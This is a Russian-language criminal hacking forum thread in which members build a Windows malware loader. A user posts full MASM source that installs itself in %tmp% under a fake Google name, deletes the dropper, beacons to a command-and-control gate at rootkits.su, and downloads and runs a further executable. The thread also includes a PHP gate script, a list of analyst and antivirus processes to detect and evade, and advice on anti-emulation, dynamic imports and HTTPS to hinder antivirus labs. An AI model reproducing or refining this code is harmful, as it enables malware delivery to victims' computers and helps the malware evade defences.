• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

Пожалуйста, обратите внимание, что пользователь заблокирован
salamandra
Допилить то можно, но мне изначально хотелось самому понять и разобраться. А так, даже имея твой сорц на руках, я сидел дня два, пока не въехал полностью, что к чему и не переписал на масм (и то, ваху подсказал еще).

demien
Честно говоря, я бы даже сам писал, у меня надежда была научится чему-то на практике. Но если за каждым шагом (отстук, скачивание, поиск файла) приходится просить помощи у других - то зачем нужен такой кодинг? Вот даже вчерашний пример:искал папки, через
Код:
.if xx.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY
Некоторые ищутся, а некоторые мой код видит как файлы, хотя это папка. Сам не мог решить, неясно и все, проверяю же на директорию. Сидел целый день, напился, поругался со всеми кругом, вопрос не решается и все. Потом мне снова подсказали, что надо проверять через test или and.
Код:
.if fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
А не подсказали бы, то сам бы никогда не подумал даже, что такое может быть.
Короче ладно...
 
надо проверять через test или and.
Код|Code
.if fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY

А не подсказали бы, то сам бы никогда не подумал даже, что такое может быть.

RTFM: двоичная запись числа, битовая маска, битовые операции
 
даже имея твой сорц на руках, я сидел дня два, пока не въехал полностью
Мне в некоторые вещи приходится неделями въезжать... Да и потом... кто сказал что будет легко?

p.s. думаю все через это проходили...
p.s.s. спрашивать что-то у других - это не зазорно, форумы на то и существуют ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
p.s. думаю все через это проходили...
Хз, может и так..
Ладно,извините за все эти истерики в теме. Просто реально очень устал.

Попробую, наверное, переписать часть кода на Си. Сегодня кое что кодил на Си+WinApi, язык однозначно проще Масма. Может на нем лучше пойдет дело, а там посмотрим.

Попутно такой вопрос - хочу сделать функу, которая детектит подозрительные процессы (разных аверов и реверсеров). Какие проги посоветуете искать? Я пока добавил
ollydbg, ida, wireshark, avz, procmon, мб стоит добавить еще процессы виртуалок.
Да, я прекрасно понимаю, что от нормального реверсера не спасет ничего, но все таки, хотелось бы усложнить аверам и блоггерам работу.
 
regmon.exe
filemon.exe
regshot.exe
procdump.exe
cports.exe
procexp.exe
dumpcap.exe
KillProcess.exe
PrcInfo.exe
phunter.exe
UnlockerAssistant.exe
Unlocker.exe
Prcview.exe
TaskInfo.exe
egui.exe
sysinspector.exe
spiderui.exe
некоторые в частности egui.exe, spiderui.exe защищены от килла....
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
Спасибо. Я убивать их не буду, ибо это палево. Я хочу просто детектить такое на компе, и если есть - самоудалятся, или работать в фейковом режиме (стучать в гугл, яндекс, или еще куда).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Итак, выкладываю те наработки, что понемногу кодил (точнее, спрашивал на форуме) за все это время. Сам код пока тестовый, в будущем (если будет релиз), я как минимум добавлю шифрование строк + динамический импорт, т.к. это убирает некоторых аверов. А пока что пишу то, что есть.

Единственная проблема - иногда WinExec срабатывает раньше, чем скачался файл. Почему так и что делать - понять не могу. Без WinExec все работает нормально, файл скачивается в полном объеме.

Код:
.386                      
.model flat, stdcall      
option casemap:none


getTask PROTO :DWORD

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,urlmon,msvcrt,ws2_32

.data
uri db "/newgate/gate.php?id=%.8x",0
host db "rootkits.su",0
uag db "Mozilla",0

request db "GET %s HTTP/1.0",0dh,0ah
  db "Host: %s",0dh,0ah
  db "Connection: Close",0dh,0ah,0dh,0ah,0
fname db "bot.exe",0;добавить потом рендомное имя

.data?
lpMem dd ?;указатель на память в хипе
VSNumber dd ?;серийный номер диска
hThread dd ?;хендл потока

.code
main PROC
local heaph:dword;указатель на хип
local first[32]:byte;параметры командной строки - тип операции(удалить, апдейтить)
local second[MAX_PATH]:byte;путь к изначальному файлу
local curfname:dword;текущий путь к файлу
local newfname:dword;путь к файлу в темп, т.е. к новому
local newdir:dword;для установки текущей директории
local tmpbuf:dword;временный буфер для атома


invoke GetVolumeInformation,0,0,0,addr VSNumber,0,0,0,0;айди - серийный номер диска
invoke wsprintf,addr tmpbuf,chr$("%d"),VSNumber;переводим в строку
invoke GlobalFindAtom,addr tmpbuf;ищем такой атом
invoke GetLastError
.if eax!=ERROR_FILE_NOT_FOUND;атом есть, значит не первый запуск
   Invoke ExitProcess,0;можно еще стукнуть в админку, что повторный запуск на том же компе
.endif
invoke GlobalAddAtom,addr tmpbuf;если атома нет, создаем его

invoke GetCL, 2, addr second; получаем второй элемент командной строки
	.if eax!=1;если его нет, значит запуск без параметров
  jmp @install;переходим на инсталл
	.elseif eax==1;если же с параметрами - тогда обрабатываем их,апдейт или удалить
  invoke GetCL, 1, addr first;получаем 1 параметр
  .if eax==1
  	switch$ addr first
    case$ "del"
    	invoke Sleep,8000;ждем завершение исходного файла, т.к. мало ли
                    invoke DeleteFile,addr second
                        .if eax==0;удалить не удалось, пусть удалит его система после ребута
                            invoke MoveFileEx,addr second,0,MOVEFILE_DELAY_UNTIL_REBOOT
                        .endif
    	jmp @installed
    case$ "upd"
    nop
    jmp @installed
  	endsw$
  .endif
	.endif

@install:
invoke GetProcessHeap;хип процесса
	mov heaph,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
	mov curfname,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
	mov newfname,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,MAX_PATH;выделяем память для пути к исходному файлу
	mov newdir,eax
	
invoke GetModuleFileName,0,curfname,MAX_PATH;текущий путь к файлу
;путь к темп,добавляем к нему имя фаела
invoke ExpandEnvironmentStrings,chr$("%tmp%\GoodGoogle.exe"),newfname,MAX_PATH 
;поменять имена файлов на рендомные!!!
;приводим инсталл путь к "длинному" пути - ибо сравнение не корректно реагирует
invoke GetLongPathName,newfname,newfname,MAX_PATH
invoke lstrcmpi,curfname,newfname;сравниваем текущий путь и инсталл путь
	test eax,eax;если бот инсталирован
	.if eax==0; переход дальше, закрытие хендлов хипа
  invoke HeapFree,heaph,0,newfname
  invoke HeapFree,heaph,0,curfname
  jmp @installed
	.endif
  invoke CopyFile,curfname,newfname,FALSE;Если фолс, идет перезапись при копи
;формируем строку запроса для удаления, буфер шаблон , путь к дропперу
  invoke wsprintf,addr second,chr$("%s %s"),chr$("del"),curfname
  invoke ExpandEnvironmentStrings,chr$("%tmp%"),newdir,MAX_PATH
        invoke ShellExecute,0,chr$("open"),newfname,addr second,newdir,SW_SPOILER
  invoke HeapFree,heaph,0,newfname;освобождаем память
  invoke HeapFree,heaph,0,curfname
  invoke ExitProcess,0	
	
@installed:;бот уже лежит где надо, отстук в админку за заданием
invoke GetProcessHeap;хип процесса
	mov heaph,eax
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,512;выделяем память
	mov lpMem,eax; буфер для ответа сервера, там ссылка на фаел
	
push eax
call getTask

;Поначалу думал делать через поток, но ввиду глюков ольки отказался от этой идеи	
;invoke CreateThread,NULL,NULL,offset getTask,eax,0,0;передаем указатель на хип
;mov hThread,eax
;invoke WaitForSingleObject,eax,INFINITE;ждем пока отработает поток
;invoke CloseHandle,hThread

push lpMem
call dload
invoke HeapFree,heaph,0,lpMem
push 0
call ExitProcess

main ENDP

dload PROC uses ecx p2file:dword
;скачивание файлов на сокетах
local wsa:WSADATA
local saddr:sockaddr_in
local sock:dword
local buf[400h]:byte
local buffer[5200]:byte
local fg:dword

Invoke WSAStartup,101h,addr wsa
	.if eax==NO_ERROR
	Invoke socket,PF_INET,SOCK_STREAM,0
	.if eax!=SOCKET_ERROR
  mov sock,eax
     Invoke gethostbyname,offset host
	.if eax!=0
  mov eax,[eax+12]
  mov eax,[eax]
  mov eax,[eax]
  mov saddr.sin_addr,eax
  invoke htons,80
  mov saddr.sin_port,ax
  mov saddr.sin_family,AF_INET
  Invoke connect,sock,addr saddr,sizeof saddr
  .if eax!=SOCKET_ERROR
  	mov edi,p2file
    mov ecx,sizeof p2file-1
    mov al,'/'
    @@:
    inc edi;пропускаем второй слеш после http:
    repne scasb
    cmp byte ptr[edi],'/'
    je @b
    dec edi
  	Invoke wsprintf,addr buffer,offset request,edi,offset host
  	Invoke send,sock,addr buffer,eax,0
  .endif
  
	parse_head:	
	invoke recv,sock,addr buf,400h,0
	push eax;к-тво байт, которые прочитали из сокета (сохранить)
  cld
  lea esi,buf
  @@:
  lodsb
        cmp al,0Dh
        jnz @b
        cmp word ptr [esi+1],0A0Dh
  	jz head_catched;нашли? Значит конец хидеров
        jmp @b
	jmp parse_head;может лишнее, но вдруг хидеры будут длиннее 400h?

	head_catched:
	invoke _lcreat,offset fname,0
	mov fg,eax
	get_body:
	invoke recv,sock,addr buf,400h,0
	test eax,eax;если ноль
	jz body_catched;скачали все данные
  
	invoke _lwrite,fg,addr buf,eax;в еах к-тво байт считанных recv
  jmp get_body
	
	body_catched:;можно добавить какие-то проверки или хз
  invoke _lclose,fg	
	.endif
	invoke shutdown,sock,SD_BOTH
	Invoke closesocket,sock
	.endif
	Invoke WSACleanup
	invoke WinExec,offset fname,SW_SPOILER
.endif	
ret
dload ENDP


getTask PROC p2buf:dword;p2buf - указатель на память в хипе
local hInternet:dword;InternetOpen handle
local hConn:dword;InternetConnect handle
local hRequest:dword;HttpOpenRequest handle
local taskbuf[128]:byte;для чтения ответа гейта
local uribuf[64]:byte;буфер для ури
local bRead:dword;байт прочитано с инета
local totalRead:dword;прочитано байт вообще, в целом

mov totalRead,0;начальная инициализация

invoke wsprintf,addr uribuf,offset uri,VSNumber;формируем строку для отстука

@gettask:
invoke InternetOpen,offset uag,INTERNET_OPEN_TYPE_PRECONFIG,0,0,0
	.if eax==0;если ошибка - пробуем еще раз
  invoke InternetOpen,offset uag,INTERNET_OPEN_TYPE_DIRECT,0,0,0
	.endif
mov hInternet,eax

invoke InternetConnect,hInternet,offset host,INTERNET_DEFAULT_HTTP_PORT,0,0,INTERNET_SERVICE_HTTP,0,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("InternetOpenUrl Error"),MB_OK
  Invoke ExitProcess,0
	.endif
mov hConn,eax

invoke HttpOpenRequest,hConn,0,addr uribuf,0,0,0,INTERNET_FLAG_PRAGMA_NOCACHE or INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_NO_AUTO_REDIRECT or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_UI,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("HttpOpenRequest Error"),MB_OK
  Invoke ExitProcess,0
	.endif
mov hRequest,eax

invoke InternetSetOption,hRequest,INTERNET_OPTION_IGNORE_OFFLINE,0,0

invoke HttpSendRequest,hRequest,0,0,0,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("HttpSendRequest Error"),MB_OK
  Invoke ExitProcess,0
	.endif

	
invoke RtlZeroMemory,p2buf,sizeof p2buf
invoke RtlZeroMemory,addr taskbuf,sizeof taskbuf	
@@:;читаем данные в цикле
	invoke InternetReadFile,hRequest,addr taskbuf,127,addr bRead
  cmp eax,0
  jz @f
  cmp bRead,0;если функция вернула 0
  jz @f;выходим
	push edx
	mov edx,totalRead
	add edx,bRead
	mov totalRead,edx
	pop edx
	invoke crt_strncat,p2buf,addr taskbuf,bRead;копир. данные в глоб.буфер, ровно сколько вернул InternetReadFile
	invoke RtlZeroMemory,addr taskbuf,sizeof taskbuf
cmp bRead,0
jnz @b
@@:
lea esi,p2buf;иначе ставим нуллбайт в конец
add esi,totalRead
mov byte ptr [esi],0

invoke InternetCloseHandle,hRequest;надо ли закрывать?
invoke InternetCloseHandle,hConn
invoke InternetCloseHandle,hInternet

invoke lstrcmp,p2buf,chr$("no task")
.if eax==0;нет задания?
	invoke RtlZeroMemory,p2buf,sizeof p2buf-1
	invoke Sleep,300000;пауза 5 минут и снова запрос
	jmp @gettask
.endif
ret;может добавить какие-то проверки,типа если функция вернула 1, то все ок, есть задание?
getTask ENDP

end main

Upd. Подобие админки (потом сделаю что-то серьезное, админка это дело 10ое в данном случае).
создаете файл task.txt, в нем надо писать или имя ехе-файла (вида 1.exe), или что-то другое, где нет слова ".exe".

В той же папке создаете рhp файл gate.php такого содержания
Код:
<?php
if (!isset($_GET['id']))
	die ("go away!");
else
{
@$task = file_get_contents("task.txt");
if (strripos($task,".exe")===false) //задания нет
	echo "no task";
else
	echo "http://".$_SERVER['HTTP_HOST']."/newgate/".$task;
}

?>
 
Единственная проблема - иногда WinExec срабатывает раньше, чем скачался файл. Почему так и что делать - понять не могу. Без WinExec все работает нормально, файл скачивается в полном объеме.

Мм... может быть добавить перед
ShellExecute.... invoke Sleep, 10000 ? :)

Далее мессаги желательно юзать только для отладки... Я об этом (
invoke MessageBox,0,LastError$(),chr$("HttpSendRequest Error"),MB_OK
)
и завершаться сразу я бы не стал, (Invoke ExitProcess,0),

лучше в начале кода, и после каждого нуля что вернула eax в апишках для открытия сессии, скачки и т.д. вызывать InternetGetConnectedState (есть такая функа в wininet, которая возвращает INTERNET_CONNECTION_OFFLINE, в случае если комп не в сети, либо если соединение разорванно. В таком случае лучше уходить в sleep на некоторое время а потом снова проверять на предмет онлайна и по новой...)

а так молодца!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
Sleep я пробовал, не помогает. Такое впечатление, что хендл не закрыт где-то, или что, короче говоря, файл доступен только после завершения работы процесса лоадера :(

Мессаджбоксы удалю, забыл просто как копировал код на форум.

InternetGetConnectedState добавлю, спасибо за совет.
 
Quake3
как-то странно, получение линка - WinInet, получение ексе - сокеты. по поводу не закрытого хендла, попробуй заменить _lcreat/_lwrite/_lclose на CreateFile/WriteFile/CloseHandle. да и вообще если будут непонятки лучше выкладывать бинарь, лично мне проще в ольге посмотреть что как, чем разглядывать сорцы.
 
Sleep я пробовал, не помогает. Такое впечатление, что хендл не закрыт где-то, или что, короче говоря, файл доступен только после завершения работы процесса лоадера

попробуй ShellExecute в отдельном потоке сделать...
p.s. солидарен с waahoo, порой в ольке ошибку бывает увидеть легче чем глядеть в сорсы...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
как-то странно, получение линка - WinInet, получение ексе - сокеты.
Я хочу в дальнейшем общение с админкой перевести на ssl, а сделать мне это проще будет на вининет, ибо в сокетах я пока лишь простейшие операции могу накодить. Ragnar советовал, что лучше сделать общение с админкой на https, чтобы усложнить работу аверлабам.

Переписал процедуру скачивания, попробуйте пожалуйста у себя запустить, будет работать или нет. Должен вывести мессаджбокс с размером файла - (правильный размер 5120), и запустить скачанный файл (там блокнот). У меня он работает через раз, но у меня сейчас говноинет, посему могут быть нюансы.
С другой стороны (как упомянул бы 100% Krazz), надо в лоадере рассчитывать на обладателей 3g/gprs, ведь не у всех безлимит.
семпл: rootkits.su/gettask2.zip
кодес:
Код:
.386                      
.model flat, stdcall      
option casemap:none

of_ReadWrite equ 2

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,urlmon,msvcrt,ws2_32
includelib \masm32\lib\irvine32.lib

.data
uri db "/newgate/gate.php?id=%.8x",0
host db "rootkits.su",0
uag db "Mozilla",0

request db "GET %s HTTP/1.0",0dh,0ah
        db "Host: %s",0dh,0ah
        db "Connection: Close",0dh,0ah,0dh,0ah,0
fname db "test1.exe",0
furi db "/newgate/1.exe",0
cif STARTUPINFO <>
pi PROCESS_INFORMATION  <>
.data?

.code
main PROC
call dload
push 0
call ExitProcess

main ENDP

dload PROC uses ecx
;скачивание файлов на сокетах
local wsa:WSADATA
local saddr:sockaddr_in
local sock:dword
local buf[400h]:byte
local buffer[5200]:byte
local fg:dword
local bwr:dword

Invoke WSAStartup,101h,addr wsa
    .if eax==NO_ERROR
    Invoke socket,PF_INET,SOCK_STREAM,0
    .if eax!=SOCKET_ERROR
        mov sock,eax
        Invoke gethostbyname,offset host
    .if eax!=0
        mov eax,[eax+12]
        mov eax,[eax]
        mov eax,[eax]
        mov saddr.sin_addr,eax
        invoke htons,80
        mov saddr.sin_port,ax
        mov saddr.sin_family,AF_INET
        Invoke connect,sock,addr saddr,sizeof saddr
        .if eax!=SOCKET_ERROR
            Invoke wsprintf,addr buffer,offset request,offset furi,offset host
            Invoke send,sock,addr buffer,eax,0
        .endif
        
    parse_head:    
    invoke recv,sock,addr buf,400h,0
    push eax;к-тво байт, которые прочитали из сокета (сохранить)
        cld
        lea esi,buf
        @@:
        lodsb
        cmp al,0Dh
        jnz @b
        cmp word ptr [esi+1],0A0Dh
            jz head_catched;нашли? Значит конец хидеров
        jmp @b
    jmp parse_head  ;может лишнее, но вдруг хидеры будут длиннее 400h?

    head_catched:
    Invoke CreateFile,offset fname,GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
        mov fg,eax
        pop ebx;к-тво байт, которые возвратил recv
        invoke WriteFile,fg,[esi+2],ebx,addr bwr,0;запись данных из первого recv
    get_body:
    invoke recv,sock,addr buf,400h,0
    test eax,eax;если ноль
    jz body_catched;скачали все данные
        mov ebx,eax
    invoke WriteFile,fg,addr buf,ebx,addr bwr,0;в еах к-тво байт считанных recv
        jmp get_body
    
    body_catched:;можно добавить какие-то проверки или хз
        
            invoke CloseHandle,fg    
    .endif
    invoke shutdown,sock,SD_BOTH
    Invoke closesocket,sock
    .endif
    Invoke WSACleanup
    
        invoke _lopen,offset fname,of_ReadWrite
        mov fg,eax
    invoke GetFileSize,fg,0
      invoke wsprintf,addr buf,chr$("%d"),eax
      invoke MessageBox,0,addr buf,0,0
invoke _lclose,fg
    invoke CreateProcess,offset fname,NULL,NULL,NULL,FALSE,NULL,NULL,NULL,offset cif,offset pi
.endif    
ret
dload ENDP

end main

p.s. кстати, что интересно, данный код дает все тех же 12 детектов, что давал бы и примитивный UrlDownloadToFile :( Видать толку с кодинга на сокетах в данном случае, кроме практического обучения для меня, особо то и нет. Я думал, что аверы не задетектят сокеты/вининет так нагло, а им видать пофигу, чем качать.
 
У меня он работает через раз, но у меня сейчас говноинет, посему могут быть нюансы
подними свой http\s сервер на локалхост и тренеруйся ;)

p.s. кстати, что интересно, данный код дает все тех же 12 детектов, что давал бы и примитивный UrlDownloadToFile Видать толку с кодинга на сокетах в данном случае, кроме практического обучения для меня, особо то и нет. Я думал, что аверы не задетектят сокеты/вининет так нагло, а им видать пофигу, чем качать.

эмуляция в действии :) тут суть - это результат выполнения кода... всунь антиэмуль... даже самый примитывный... т.к. сигнатур на твоё добро думаю еще нет, детектов вообще не должно быть... ну еще я бы на импорт внимание обратил бы....
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
на денвере у меня все отлично :) там файлы качаются без задержек и молниеносно, а вот с инета возможны нюансы. Но вроде код, что выше работает более менее,просто через раз - раз качает все 5кб, а раз 2-3. хз в общем, интересно если кто еще запустит и скажет, сработало у него или нет..
ведь если грузить таким лоадырем малвару по полметра, то будет очень грустно.

Добавить динамический импорт? Наверное эмуль, но меня удивило то, что он так легко опознал скачивание на сокетах.
 
на денвере у меня все отлично там файлы качаются без задержек и молниеносно, а вот с инета возможны нюансы. Но вроде код, что выше работает более менее,просто через раз - раз качает все 5кб, а раз 2-3. хз в общем, интересно если кто еще запустит и скажет, сработало у него или нет..
ведь если грузить таким лоадырем малвару по полметра, то будет очень грустно.

ну если на денвере всё отлично то думаю все ок будет. то что работает через раз с 5-ю кб это стремно... неужели так инет может тормозить? сомневаюсь...
нужно отточить момент скачки до совершенства, ибо это основная задача лоадера...

Добавить динамический импорт?
сделать вызов апи динамическими... а в таблицу импорта набросать чего нить легитимного... можешь вытащить с калькулятора...

Наверное эмуль, но меня удивило то, что он так легко опознал скачивание на сокетах.
ты наверное не внимательно читал, то что я написал... эмулю глубоко фиолетово через сокеты или через выньанет ты качаешь... факт в том, что качает - значит длоадер, или как меня каждый раз улыбает детекты всяких икарусов и им подобным Trojan.Скачатьer =) Че они там курят?)

з.ы. перенеси все свои наработки в отдельную тему в кодинге... если аr3s почистит топ, оставляя только посты, касательно темы, думаю интересно будет тем, кто сейчас учится почитать...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
у меня инет лимитный 3g, хотя хз, может дело и не в нем.
А ты не мог бы запустить семпл у себя на виртуалке - скачает или нет? Там нет никаких логгеров или чего, мне просто интересно, скачает он файл полностью или нет.
ты наверное не внимательно читал, то что я написал... эмулю глубоко фиолетово через сокеты или через выньанет ты качаешь... факт в том, что качает - значит длоадер,
Вот этот момент немного не ясен в таком случае. Я думал что авер ставит условно говоря брекпойнт на апи - вида UrlDownloadtofile - alert, а на сокеты у него отдельная эвристика. А выходит, ему пофиг, он просто мониторит сетевую активность, и хоть через что качай - ему поровну?
 
4394 -> test1.exe скачался... пустая консолька... с первого раза...

Я думал что авер ставит условно говоря брекпойнт на апи - вида UrlDownloadtofile - alert
бряки никто не ставит ;) за анализ файла отвечает эвристика...

а на сокеты у него отдельная эвристика.
нет понятия отдельная эвристика - эвристический двиг один...


А выходит, ему пофиг, он просто мониторит сетевую активность, и хоть через что качай - ему поровну?
Сетевую активность мониторит фаервол. Эмуль идет по коду и найдя апи (паралельно работает эвристика...) - начисляются баллы..., собралось необходимое кол-во баллов -> детект.

аверы давно уже юзают все свои техники в дуэте...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
По аверам - спасибо за пояснение, более менее понятно. Мда, сложно с этим всем, и как только крипторы справляются?

4394
Вот! У меня тоже иногда скачивается нормально, а иногда вот это "магическое число" байт, и ес-но файл не запускается, ибо он без куска данных.
И откуда эта ерунда берется? Не пойму, что за фигня, вроде же работает иногда как надо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх